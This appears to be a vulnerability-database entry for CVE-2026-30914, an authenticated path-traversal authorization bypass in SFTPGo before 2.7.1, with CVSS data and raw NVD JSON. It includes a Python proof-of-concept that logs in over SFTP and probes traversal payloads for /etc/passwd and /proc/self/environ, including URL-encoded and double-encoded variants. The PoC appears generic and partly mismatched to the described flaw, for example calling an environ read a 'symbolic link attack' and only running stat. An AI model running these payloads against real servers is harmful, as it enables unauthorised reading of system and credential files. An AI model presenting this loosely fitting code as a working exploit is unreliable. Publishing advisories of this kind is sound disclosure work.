Security Vulnerability Report
中文
CVE-2026-30914 CVSS 8.1 HIGH

CVE-2026-30914

Published: 2026-03-13 19:54:35
Last Modified: 2026-03-18 20:19:29

Description

SFTPGo is an open source, event-driven file transfer solution. In SFTPGo versions prior to 2.7.1, a path normalization discrepancy between the protocol handlers and the internal Virtual Filesystem routing can lead to an authorization bypass. An authenticated attacker can craft specific file paths to bypass folder-level permissions or escape the boundaries of a configured Virtual Folder. This vulnerability is fixed in 2.7.1.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:sftpgo_project:sftpgo:*:*:*:*:*:*:*:* - VULNERABLE
SFTPGo < 2.7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-30914 PoC - SFTPGo Path Traversal Authorization Bypass # This PoC demonstrates the path normalization discrepancy # Requires valid SFTP credentials with limited folder permissions import paramiko import socket # Configuration TARGET_HOST = 'target.example.com' TARGET_PORT = 22 USERNAME = 'low_privilege_user' PASSWORD = 'user_password' # Path traversal payloads to bypass virtual folder restrictions PAYLOADS = [ # Escape virtual folder using path traversal '../../../etc/passwd', # Symbolic link attack '/proc/self/environ', # URL encoded traversal '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd', # Double encoding '%252e%252e%252f%252e%252e%252fetc%252fpasswd' ] def exploit_sftpgo(): """Exploit CVE-2026-30914: Path normalization bypass""" try: # Establish SSH connection transport = paramiko.Transport((TARGET_HOST, TARGET_PORT)) transport.connect(username=USERNAME, password=PASSWORD) sftp = paramiko.SFTPClient.from_transport(transport) print(f"[*] Connected to {TARGET_HOST} as {USERNAME}") print("[*] Attempting path traversal attacks...") for payload in PAYLOADS: try: # Attempt to read file outside virtual folder print(f"[*] Testing payload: {payload}") result = sftp.stat(payload) print(f"[!] SUCCESS: File accessible via {payload}") print(f"[!] File info: {result}") except IOError as e: print(f"[-] Failed with payload {payload}: {e}") sftp.close() transport.close() except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == '__main__': exploit_sftpgo() print("[*] PoC execution completed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30914", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:35.247", "lastModified": "2026-03-18T20:19:28.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SFTPGo is an open source, event-driven file transfer solution. In SFTPGo versions prior to 2.7.1, a path normalization discrepancy between the protocol handlers and the internal Virtual Filesystem routing can lead to an authorization bypass. An authenticated attacker can craft specific file paths to bypass folder-level permissions or escape the boundaries of a configured Virtual Folder. This vulnerability is fixed in 2.7.1."}, {"lang": "es", "value": "SFTPGo es una solución de transferencia de archivos de código abierto y basada en eventos. En versiones de SFTPGo anteriores a la 2.7.1, una discrepancia en la normalización de rutas entre los manejadores de protocolo y el enrutamiento interno del sistema de archivos virtual puede conducir a una omisión de autorización. Un atacante autenticado puede crear rutas de archivo específicas para omitir permisos a nivel de carpeta o escapar de los límites de una Carpeta Virtual configurada. Esta vulnerabilidad está corregida en la versión 2.7.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sftpgo_project:sftpgo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.1", "matchCriteriaId": "B7040FCD-56C0-4C58-91E0-7269DE2C0783"}]}]}], "references": [{"url": "https://github.com/drakkan/sftpgo/security/advisories/GHSA-x8qh-7475-c5mp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}